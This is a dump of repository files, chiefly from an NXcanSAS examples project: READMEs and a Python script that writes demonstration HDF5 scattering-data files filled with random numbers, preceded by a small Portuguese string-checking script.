{ "alpha_fraction": 0.6121883392333984, "alphanum_fraction": 0.6121883392333984, "avg_line_length": 38.33333206176758, "blob_id": "c2332fea15e72223d51041c5e580a754334b3111", "content_id": "cf434a49521fef8a397b9b5d8441cfca689635fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 377, "license_type": "no_license", "max_line_length": 45, "num_lines": 9, "path": "/teste11.py", "repo_name": "FabianeTelles/REP_PYTHON", "src_encoding": "UTF-8", "text": "n = input('Digite algo:')\r\nprint ('Esse número é', (type (n)))\r\nprint ('Ele é númerico ? ', n.isnumeric ())\r\nprint (' Ele é alfabético? ', n.isalpha ())\r\nprint (' Ele é um decimal? ', n.isdecimal ())\r\nprint (' Ele é minúsculo? ', n .islower ())\r\nprint ('Ele é maiúsculo?', n.isupper ())\r\nprint ('Ele é um dígito?', n.isdigit ())\r\nprint ('Verificação concluída')" } ]
5
canSAS-org/NXcanSAS_examples
https://github.com/canSAS-org/NXcanSAS_examples
1c04a38dae0b2ac80bd72d22b4e2c00c8d8624b5
7604ce9993d6d2d85c52d24b90d977ad97073804
35ab23483dd12ffebf81c012e004077641e7c8be
refs/heads/master
2021-01-09T20:19:38.069526
2018-07-02T19:52:48
2018-07-02T19:52:48
62,316,941
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8169013857841492, "alphanum_fraction": 0.8169013857841492, "avg_line_length": 34.5, "blob_id": "157833e559e19a33e264a9c4fe9ff3810c9817bd", "content_id": "d3508df8857522933b74ad927726f3c749831ac3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 71, "license_type": "no_license", "max_line_length": 64, "num_lines": 2, "path": "/others/APS/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "# APS\nexamples reduced SAXS data files from the Advanced Photon Source\n" }, { "alpha_fraction": 0.6416184902191162, "alphanum_fraction": 0.7109826803207397, "avg_line_length": 20.66666603088379, "blob_id": "db4807e998e3a77b0d13f926d677599b6a142802", "content_id": "3b49c249ff8400403549796c1f6a0b4b7e4962a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 519, "license_type": "no_license", "max_line_length": 72, "num_lines": 24, "path": "/others/Mantid/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "# Mantid\nExample SANS data files reduced with Mantid at RAL/ISIS.\n\n - H5 files are the trial NXcanSAS format written from Mantid algorithm \nSaveNXcanSAS v.1\n\n - XML files are the CanSAS ('SASXML') 1D format + XSL stylesheet\n\n - TXT files are the historic ISIS 'RKH' (COLETTE) 1D & 2D format\n\n - DAT files are the NIST Qxy 2D format\n\n\n\n=====\n\nMantid reduction parameters:\n - Cycle 15_3\n - SANS2D_TUBES\n - USER_SANS2D_153P_2p4_4m_M3_Hollamby_4mm_17TCryomagnet.txt\n - 33837 33838 33742\n - No can subtraction\n\n=====" }, { "alpha_fraction": 0.5643613934516907, "alphanum_fraction": 0.5829127430915833, "avg_line_length": 28.84124755859375, "blob_id": "3714abfdd1a4a8533381b2a3e5e43026817ea86d", "content_id": "333e546e1c5c5b9f8a50bb4d2b55c0640c01d9f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21993, "license_type": "no_license", "max_line_length": 109, "num_lines": 737, "path": "/canSAS2012_examples/create_examples.py", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\n'''\nCreate HDF5 example files in the NXcanSAS format\n\nThese examples are based on the examples described at the canSAS2012 meeting.\n\n:see: http://cansas-org.github.io/canSAS2012/examples.html\n'''\n\nimport datetime\nimport h5py\nimport inspect\nimport numpy\nimport os\nimport sys\n\nimport punx.h5structure\n\n\ndef basic_setup():\n '''\n Create the HDF5 file and basic structure, return the nxdata object\n \n structural model::\n\n SASroot\n SASentry\n SASdata\n\n COMMENTS:\n \n Various metadata are added to the NXroot group (as attributes).\n These are optional but help define the history of each file.\n \n The \"default\" attribute supports the NeXus motivation to easily \n identify the data to be use for a default visualization of this file.\n The value is the name of the child group on the path to this data.\n The path defined by canSAS is \"/sasentry/sasdata/I\".\n \n In the file root (SASroot/NXroot) group, default=\"sasentry\".\n In the entry (SASentry/NXentry) group, default=\"sasdata\".\n In the data (SASdata/NXdata) group, signal=\"I\".\n \n In the data group, the \"axes\" attribute associates the Q dataset\n with the signal=\"I\" dataset. It may be changed as needed by the \n situation, such as for Qx, Qy.\n \n To preserve the mapping between canSAS and NeXus structures,\n additional canSAS attributes are added. These are permitted and \n ignored by NeXus.\n \n The arrays in these examples are small, when compared with\n many real-world datasets but are intended to demonstrate the\n use of the format while reducing the file size of the example.\n \n A \"units\" attribute is recommended for all numerical datasets (fields).\n \n Additional metadata about these examples are stored in \"run\" and \"title\".\n In NXcanSAS, these are fields (datasets).\n \n ===== ====== =======================================================\n term type description\n ===== ====== =======================================================\n run string name of the function to create this example\n title string one line summary of the function to create this example\n ===== ====== =======================================================\n '''\n stack = inspect.stack()\n function_name = stack[1][3]\n filename = function_name + \".h5\"\n\n nxroot = h5py.File(filename, \"w\")\n nxroot.attrs['file_name'] = filename\n nxroot.attrs['HDF5_Version'] = h5py.version.hdf5_version\n nxroot.attrs['h5py_version'] = h5py.version.version\n nxroot.attrs['file_time'] = str(datetime.datetime.now())\n nxroot.attrs['producer'] = __file__ # os.path.abspath(__file__)\n nxroot.attrs['default'] = \"sasentry\"\n\n nxentry = nxroot.create_group(\"sasentry\")\n nxentry.attrs[\"NX_class\"] = \"NXentry\"\n nxentry.attrs[\"SAS_class\"] = \"SASentry\"\n nxentry.attrs['default'] = \"sasdata\"\n nxentry.create_dataset(\"definition\", data=\"NXcanSAS\")\n\n nxdata = nxentry.create_group(\"sasdata\")\n nxdata.attrs[\"NX_class\"] = \"NXdata\"\n nxdata.attrs[\"SAS_class\"] = \"SASdata\"\n nxdata.attrs[\"signal\"] = \"I\"\n nxdata.attrs[\"axes\"] = \"Q\" \n\n # additional metadata about these examples:\n # save the name of the function as \"run\"\n nxentry.create_dataset('run', data=function_name)\n\n # save the 1st doc string of the function as \"title\"\n module_members = dict(inspect.getmembers(inspect.getmodule(basic_setup)))\n func = module_members[function_name]\n doc = inspect.getdoc(func).strip().splitlines()[0]\n nxentry.create_dataset('title', data=doc)\n\n return nxdata\n\n\ndef fake_data(*dimensions):\n '''\n create a dataset array from random numbers with the supplied dimension(s)\n \n Examples:\n \n :1D: ``fake_data(5)``\n :2D: ``fake_data(5, 10)``\n :2D image: ``fake_data(10, 50)``\n :3D (3 2D images): ``fake_data(3, 10, 50)``\n \n Use a random number generator. \n There is no science to be interpreted from the values.\n \n Use of \"*dimensions\" allows this routine to be called with arbitrary\n array shape.\n '''\n return numpy.random.rand(*dimensions)\n\n\ndef example_01_1D_I_Q():\n '''\n I(|Q|): The most common SAS data, a one-dimensional set of data.\n \n structural model::\n \n SASroot\n SASentry\n SASdata\n I: float[10]\n Q: float[10]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"Q_indices\"] = 0\n\n n = 10\n ds = nxdata.create_dataset(\"I\", data=fake_data(n))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(n))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxdata.file.close()\n\n\ndef example_02_2D_image():\n '''\n I(|Q|): Analysis of 2-D images is common\n \n The \"Q_indices\" attribute indicates the dependency relationship \n of the Q field with one or more dimensions of the plottable \"I\" data.\n This is an integer array that defines the indices of the \"I\" field \n which need to be used in the \"Q\" dataset in order to reference the \n corresponding axis value. This 2D example is a good demonstration \n of this feature.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n I: float[10, 50]\n Q: float[10, 50]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Q Q\".split()\n nxdata.attrs[\"Q_indices\"] = [0, 1]\n\n h = 10\n v = 50\n ds = nxdata.create_dataset(\"I\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxdata.file.close()\n\n\ndef example_03_2D_image_and_uncertainties():\n '''\n I(|Q|) +/- sigma(|Q|): Uncertainties (a.k.a \"errors\") may be identified.\n\n The mechanism is to provide a dataset of the same shape as \"I\",\n and identify its name in the \"uncertainties\" attribute.\n Note in NeXus, this attribute is spelled as a plural, not \"uncertainty\".\n The value is the name of the dataset with the uncertainties.\n \n The name \"Idev\" is preferred by canSAS for the uncertainty of \"I\".\n \n This technique to identify uncertainties can be applied to\n any dataset. It is up to each analysis procedure to recognize\n and handle this information.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n I: float[10, 50]\n @uncertainties=Idev\n Q: float[10, 50]\n Idev: float[10, 50]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Q Q\".strip()\n nxdata.attrs[\"Q_indices\"] = [0, 1]\n\n h = 10\n v = 50\n ds = nxdata.create_dataset(\"I\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds.attrs[\"uncertainties\"] = \"Idev\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Idev\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/m\"\n\n nxdata.file.close()\n\n\ndef example_04_2D_vector():\n '''\n I(Q): Q may be represented as a vector\n \n The canSAS interpretation of the \"axes\" attribute differs from NeXus.\n In canSAS, \"Q\" when used as a vector is recognized as a value of the\n \"axess\" attrribute. NeXus requires *each* value in the \"axes\" attribute\n list must exist as a dataset in the same group.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n I: float[10, 50]\n Qx: float[10, 50]\n Qy: float[10, 50]\n Qz: float[10, 50]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Qx Qy\".strip()\n nxdata.attrs[\"Qx_indices\"] = 0\n nxdata.attrs[\"Qy_indices\"] = 1\n\n h = 10\n v = 50\n ds = nxdata.create_dataset(\"I\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Qx\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qy\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qz\", data=0*fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxdata.file.close()\n\n\ndef example_05_2D_SAS_WAS():\n '''\n I(|Q|): common multi-method technique: small and wide angle scattering\n \n WAS is not in the scope of the NXcanSAS definition.\n Still, it is useful to demonstrate how WAS might be included in\n a NXcanSAS data file, in a NXdata group.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n @name=\"sasdata\"\n I: float[10, 50]\n Q: float[10, 50]\n SASdata\n @name=\"wasdata\"\n I: float[25, 25]\n Q: float[25, 25]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Q Q\".strip()\n nxdata.attrs[\"Q_indices\"] = [0, 1]\n\n # SAS data\n h = 10\n v = 50\n ds = nxdata.create_dataset(\"I\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxentry = nxdata.parent\n\n # WAS data\n was_group = nxentry.create_group(\"wasdata\")\n was_group.attrs[\"NX_class\"] = \"NXdata\"\n was_group.attrs[\"signal\"] = \"I\"\n was_group.attrs[\"axes\"] = \"Q Q\".strip()\n was_group.attrs[\"Q_indices\"] = [0, 1]\n\n h = 25\n v = 25\n ds = was_group.create_dataset(\"I\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = was_group.create_dataset(\"Q\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxdata.file.close()\n\n\ndef example_06_2D_Masked():\n '''\n I(|Q|) and mask: Data masks are possible in analysis of SAS\n \n NeXus has defined a 32-bit integer \"pixel_mask\" field to describe\n various possible reasons for masking a specific pixel, as a bit map.\n The same definition is used in two NeXus classes. \n See either NXdetector base class or NXmx application definition for details.\n \n Here, the random data only uses a value of 0 (no mask) or 1 (dead pixel).\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n I: float[10, 50]\n Q: float[10, 50]\n Mask: int[10, 50]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Q Q\".strip()\n nxdata.attrs[\"Q_indices\"] = [0, 1]\n\n h = 10\n v = 50\n ds = nxdata.create_dataset(\"I\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n mask_data = numpy.int32(numpy.random.rand(h, v) + 0.5)\n ds = nxdata.create_dataset(\"Mask\", data=mask_data)\n\n nxdata.file.close()\n\n\ndef example_07_2D_as_1D():\n '''\n I(|Q|): Mapping of 2D data into 1D is common\n \n This is used to describe radial averaged I(Q) data.\n It may also be used to describe data combined from several measurements.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n I: float[10*50]\n Q: float[10*50]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"Q_indices\"] = 0\n\n h = 10\n v = 50\n ds = nxdata.create_dataset(\"I\", data=fake_data(h * v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(h * v))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxdata.file.close()\n\n\ndef example_08_SANS_SAXS():\n '''\n I(|Q|): Complementary SANS & SAXS techniques.\n \n This example shows where to place the I(Q) data.\n It could be improved by showing the placement of the additional\n data related to the wavelength of the radiation of each source.\n \n Both SANS and SAXS data belong in the same entry as they pertain \n to the same sample. A \"probe_type\" attribute has been added\n to each data group to further identify in a standard way,\n using nouns defined by NeXus.\n \n The selection of the \"sans\" group is arbitrary in this example.\n NeXus does not allow for multiple values in the \"default\" attribute.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n @name=\"sans\"\n @probe_type=\"neutron\"\n I: float[10]\n Q: float[10]\n SASdata\n @name=\"saxs\"\n @probe_type=\"xray\"\n I: float[25]\n Q: float[25]\n\n The example code below shows an h5py technique to rename the\n \"sasdata\" group to \"sans\". This adds clarity to the example data file.\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"probe_type\"] = \"neutron\"\n nxdata.attrs[\"Q_indices\"] = 0\n\n n = 10\n ds = nxdata.create_dataset(\"I\", data=fake_data(n))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(n))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxentry = nxdata.parent\n nxentry.attrs[\"default\"] = \"sans\"\n nxentry[\"sans\"] = nxdata # change the nxdata group name\n del nxentry[\"sasdata\"]\n\n nxdata = nxentry.create_group(\"saxs\")\n nxdata.attrs[\"NX_class\"] = \"NXdata\"\n nxdata.attrs[\"SAS_class\"] = \"SASdata\"\n nxdata.attrs[\"probe_type\"] = \"xray\"\n\n n = 25\n ds = nxdata.create_dataset(\"I\", data=fake_data(n))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(n))\n ds.attrs[\"units\"] = \"1/nm\"\n\n nxdata.file.close()\n\n\ndef example_09_1D_time():\n '''\n I(t,|Q|): A time-series of 1D I(Q) data\n \n This is another example of how to apply the \"AXISNAME_indices\"\n attributes. \"Time\" is used with the first index of \"I\",\n \"Q\" with the second.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n @axes=Time,Q\n @Time_indices=0\n @Q_indices=1\n Time: float[nTime] \n Q: float[10]\n I: float[nTime,10]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Time Q\".split()\n nxdata.attrs[\"Time_indices\"] = 0\n nxdata.attrs[\"Q_indices\"] = 1\n\n n = 10\n nTime = 5\n ds = nxdata.create_dataset(\"I\", data=fake_data(nTime, n))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(n))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Time\", data=fake_data(nTime))\n ds.attrs[\"units\"] = \"s\"\n\n nxdata.file.close()\n\n\ndef example_10_1D_time_Q():\n '''\n I(t,|Q(t)|): A time-series of 1D I(Q) data where Q is a function of time\n \n This is another example of how to apply the \"AXISNAME_indices\"\n attributes. \"Time\" is used with the first index of \"I\",\n \"Q\" with both.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @Time_indices=0\n @I_axes=Time,Q\n I: float[nTime,10]\n Q: float[nTime,10]\n Time: float[nTime]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Time Q\".split()\n nxdata.attrs[\"Time_indices\"] = 0\n nxdata.attrs[\"Q_indices\"] = [0, 1]\n\n n = 10\n nTime = 5\n ds = nxdata.create_dataset(\"I\", data=fake_data(nTime, n))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(nTime, n))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Time\", data=fake_data(nTime))\n ds.attrs[\"units\"] = \"s\"\n\n nxdata.file.close()\n\n\ndef example_11_1D_time_Q_and_uncertainties():\n '''\n I(t,|Q|) +/- sigma(t,|Q|): A time-series of 1D I(Q) data with uncertainties where Q is a function of time\n \n This is another example of how to apply the \"AXISNAME_indices\"\n attributes. \"Time\" is used with the first index of \"I\",\n \"Q\" with both.\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n @Q_indices=0,1\n @Time_indices=0\n @I_axes=Time,Q\n I: float[nTime,10]\n @uncertainties=Idev\n Q: float[nTime,10]\n Time: float[nTime]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Time Q\".split()\n nxdata.attrs[\"Time_indices\"] = 0\n nxdata.attrs[\"Q_indices\"] = [0, 1]\n\n n = 10\n nTime = 5\n ds = nxdata.create_dataset(\"I\", data=fake_data(nTime, n))\n ds.attrs[\"units\"] = \"1/m\"\n ds.attrs[\"uncertainties\"] = \"Idev\"\n ds = nxdata.create_dataset(\"Q\", data=fake_data(nTime, n))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Time\", data=fake_data(nTime))\n ds.attrs[\"units\"] = \"s\"\n ds = nxdata.create_dataset(\"Idev\", data=fake_data(nTime, n))\n ds.attrs[\"units\"] = \"1/m\"\n\n nxdata.file.close()\n\n\ndef example_12_2D_vector_time():\n '''\n I(t,Q): A time-series of 2D I(Q) data, where Q is a vector\n \n see: *example_04_2D_vector*\n\n structural model::\n\n SASroot\n SASentry\n SASdata\n @Qx_indices=1\n @Qy_indices=2\n @Time_indices=0\n @I_axes=Time,Qx,Qy\n I: float[nTime,10,50]\n Qx: float[10,50]\n Qy: float[10,50]\n Qz: float[10,50]\n Time: float[nTime]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Time Qx Qy\".split()\n nxdata.attrs[\"Time_indices\"] = 0\n nxdata.attrs[\"Qx_indices\"] = 1\n nxdata.attrs[\"Qy_indices\"] = 2\n\n h = 10\n v = 50\n nTime = 5\n ds = nxdata.create_dataset(\"I\", data=fake_data(nTime, h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Qx\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qy\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qz\", data=fake_data(h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Time\", data=fake_data(nTime))\n ds.attrs[\"units\"] = \"s\"\n\n nxdata.file.close()\n\n\ndef example_13_varied_parameters_Q_time():\n '''\n I(T,t,P,Q(t)): several varied parameters\n \n Additional parameters are temperature, time, and pressure.\n Only Q depends on time.\n \n structural model::\n\n SASroot\n SASentry\n SASdata\n @Temperature_indices=0\n @Time_indices=1\n @Pressure_indices=2\n @I_axes=Temperature,Time,Pressure,.,.\n I: float[nTemperature,nTime,nPressure,10,50]\n Qx: float[nTime,10,50]\n Qy: float[nTime,10,50]\n Qz: float[nTime,10,50]\n Time: float[nTime]\n Temperature: float[nTemperature]\n Pressure: float[nPressure]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Temperature Time Pressure . .\".split()\n nxdata.attrs[\"Temperature_indices\"] = 0\n nxdata.attrs[\"Time_indices\"] = 1\n nxdata.attrs[\"Pressure_indices\"] = 2\n\n h = 10\n v = 50\n nTime = 5\n nTemperature = 7\n nPressure = 3\n ds = nxdata.create_dataset(\"I\", data=fake_data(nTemperature, nTime, nPressure, h, v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Qx\", data=fake_data(nTime, h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qy\", data=fake_data(nTime, h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qz\", data=fake_data(nTime, h, v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Temperature\", data=fake_data(nTemperature))\n ds.attrs[\"units\"] = \"K\"\n ds = nxdata.create_dataset(\"Time\", data=fake_data(nTime))\n ds.attrs[\"units\"] = \"s\"\n ds = nxdata.create_dataset(\"Pressure\", data=fake_data(nPressure))\n ds.attrs[\"units\"] = \"MPa\"\n\n nxdata.file.close()\n\n\ndef example_14_varied_parameters_all_time():\n '''\n I(t,T,P,Q(t,T,P)): several varied parameters\n \n All Q (vector) are different for each combination of time, temperature, and pressure.\n \n structural model::\n\n SASroot\n SASentry\n SASdata\n @Time_indices=0\n @Temperature_indices=1\n @Pressure_indices=2\n @I_axes=Time,Temperature,Pressure,.\n I: float[nTime,nTemperature,nPressure,10*50]\n Qx: float[nTime,nTemperature,nPressure,10*50]\n Qy: float[nTime,nTemperature,nPressure,10*50]\n Qz: float[nTime,nTemperature,nPressure,10*50]\n Time: float[nTime]\n Temperature: float[nTemperature]\n Pressure: float[nPressure]\n\n '''\n nxdata = basic_setup()\n nxdata.attrs[\"axes\"] = \"Temperature Time Pressure .\".split()\n nxdata.attrs[\"Temperature_indices\"] = 0\n nxdata.attrs[\"Time_indices\"] = 1\n nxdata.attrs[\"Pressure_indices\"] = 2\n\n h = 10\n v = 50\n nTime = 5\n nTemperature = 7\n nPressure = 3\n ds = nxdata.create_dataset(\"I\", data=fake_data(nTime, nTemperature, nPressure, h*v))\n ds.attrs[\"units\"] = \"1/m\"\n ds = nxdata.create_dataset(\"Qx\", data=fake_data(nTime, nTemperature, nPressure, h*v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qy\", data=fake_data(nTime, nTemperature, nPressure, h*v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Qz\", data=fake_data(nTime, nTemperature, nPressure, h*v))\n ds.attrs[\"units\"] = \"1/nm\"\n ds = nxdata.create_dataset(\"Temperature\", data=fake_data(nTemperature))\n ds.attrs[\"units\"] = \"K\"\n ds = nxdata.create_dataset(\"Time\", data=fake_data(nTime))\n ds.attrs[\"units\"] = \"s\"\n ds = nxdata.create_dataset(\"Pressure\", data=fake_data(nPressure))\n ds.attrs[\"units\"] = \"MPa\"\n\n nxdata.file.close()\n\n\nif __name__ == \"__main__\":\n # get a list of the example functions, then document and run each\n g_dict = dict(globals()) # keep separate from next line\n examples = sorted([f for f in g_dict if f.startswith(\"example_\")])\n for funcname in examples:\n func = g_dict[funcname]\n funcdoc = func.__doc__.strip().splitlines()[0]\n print(funcname + ': ' + funcdoc)\n func()\n \n h5_file = funcname + '.h5'\n structure_file = os.path.join('structure', h5_file + '.txt')\n mc = punx.h5structure.h5structure(h5_file)\n mc.array_items_shown = 0\n structure = mc.report()\n fp = open(structure_file, 'w')\n fp.write('\\n'.join(structure or ''))\n fp.write('\\n')\n fp.close()\n" }, { "alpha_fraction": 0.7097415328025818, "alphanum_fraction": 0.789264440536499, "avg_line_length": 44.727272033691406, "blob_id": "d772303b77201f2d94bb277ee142a86c2b7732ed", "content_id": "5815ca5b4f83848cac6f0f9c4eeb783bf07eb0bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1006, "license_type": "no_license", "max_line_length": 56, "num_lines": 22, "path": "/1d_standard/process.sh", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\npython ./python/xml2hdf5.py xml/1998spheres.xml\npython ./python/xml2hdf5.py xml/bimodal-test1.xml\n#python ./python/xml2hdf5.py xml/cansas1d-template.xml\npython ./python/xml2hdf5.py xml/cansas1d.xml\npython ./python/xml2hdf5.py xml/cs_af1410.xml\npython ./python/xml2hdf5.py xml/cs_collagen_full.xml\npython ./python/xml2hdf5.py xml/cs_collagen.xml\npython ./python/xml2hdf5.py xml/cs_rr_polymers.xml\npython ./python/xml2hdf5.py xml/gc14-dls-i22.xml\npython ./python/xml2hdf5.py xml/GLASSYC_C4G8G9_no_TL.xml\npython ./python/xml2hdf5.py xml/GLASSYC_C4G8G9_w_TL.xml\npython ./python/xml2hdf5.py xml/ill_sasxml_example.xml\npython ./python/xml2hdf5.py xml/ISIS_SANS_Example.xml\npython ./python/xml2hdf5.py xml/isis_sasxml_example.xml\npython ./python/xml2hdf5.py xml/r586.xml\npython ./python/xml2hdf5.py xml/r597.xml\npython ./python/xml2hdf5.py xml/s81-polyurea.xml\npython ./python/xml2hdf5.py xml/samdata_WITHTX.xml\npython ./python/xml2hdf5.py xml/xg009036_001.xml\npython ./python/xml2hdf5.py xml/W1W2.XML\n" }, { "alpha_fraction": 0.792266845703125, "alphanum_fraction": 0.7990902066230774, "avg_line_length": 42.96666717529297, "blob_id": "904095255c0c190e7eb0bf82a032c65034c90c3f", "content_id": "2f268bfa77fffc4bd4d54b53307ecefe54be88c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1319, "license_type": "no_license", "max_line_length": 126, "num_lines": 30, "path": "/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "# NXcanSAS_examples\nexample data files written to the NXcanSAS standard\n\nIn this repository, the example files in these directories are known\nto have been written to the [NXcanSAS standard](http://download.nexusformat.org/doc/html/classes/applications/NXcanSAS.html ):\n\n* 1d_standard/\n * These examples are from SAS measurements of actual or simulated samples.\n* canSAS2012_examples/\n * These examples use random numbers to fill the I and Q data arrays\n\nExamples in the `others` directory are not guaranteed to conform\nto the NXcanSAS standard.\n\n## NXcanSAS: a NeXus application definition\nThe NXcanSAS application definition was ratified by the NIAC at their 2016 meeting\nand is now part of the NeXus standard.\n\n\n## File validation\nIt is recommended that any NXcanSAS example data file deposited here\nbe checked using a validation tool called \n**punx** (Python Utilities for NeXus).\nIt would be useful to post the validation output from punx along with the example data file.\n\nInformation about punx (currently in development) is available online: http://punx.readthedocs.io\n\nIt is planned to add a validation step to this repository so that all data files will\nbe checked each time the GitHub repository is updated. This will use the travis-ci.org\ncontinuous integration process and the punx tool described above.\n" }, { "alpha_fraction": 0.8190476298332214, "alphanum_fraction": 0.8190476298332214, "avg_line_length": 25.25, "blob_id": "81bbb82e03fd3feb18ec4896b8491fd4f72ccc7b", "content_id": "d657eeca6a7f07493e5af571d3cad910b828c5f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 105, "license_type": "no_license", "max_line_length": 59, "num_lines": 4, "path": "/others/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "# Deposited files\n\nExamples in these directories are not guaranteed to conform\nto the NXcanSAS standard.\n" }, { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7371794581413269, "avg_line_length": 38, "blob_id": "b136640845b01e81803c78cc8c5d7d38633d7507", "content_id": "1e1cffcfacb11dfdb67028af0d7d4102e3973815", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 156, "license_type": "no_license", "max_line_length": 72, "num_lines": 4, "path": "/resources/AllData/README.txt", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "Message from paul@butlerabney.org:\n\nand as the name implies all the stuff from summer school. \nI'd focus on the *.DAT files from the Katie's data series (only 3 files)\n" }, { "alpha_fraction": 0.5385429263114929, "alphanum_fraction": 0.5874052047729492, "avg_line_length": 24.65158462524414, "blob_id": "71d61baf5b148a8514a4599916766ee2dcbfab88", "content_id": "2b114d3ba6dffce8b7163114c02fee69ba4ecfd3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 11338, "license_type": "no_license", "max_line_length": 111, "num_lines": 442, "path": "/canSAS2012_examples/README.md", "repo_name": "canSAS-org/NXcanSAS_examples", "src_encoding": "UTF-8", "text": "# Models\n\nnote: 2017-05-03,prj\n\nThese notes are not consistent with the examples created.\nFor **all** examples, consult the documentation in the\npython code that created the example or the \n[NXcanSAS documentation](http://download.nexusformat.org/doc/html/classes/applications/NXcanSAS.html#nxcansas).\n\n## Common cases\n\n### 1-D I(Q)\n\nThis model could describe data stored in the the 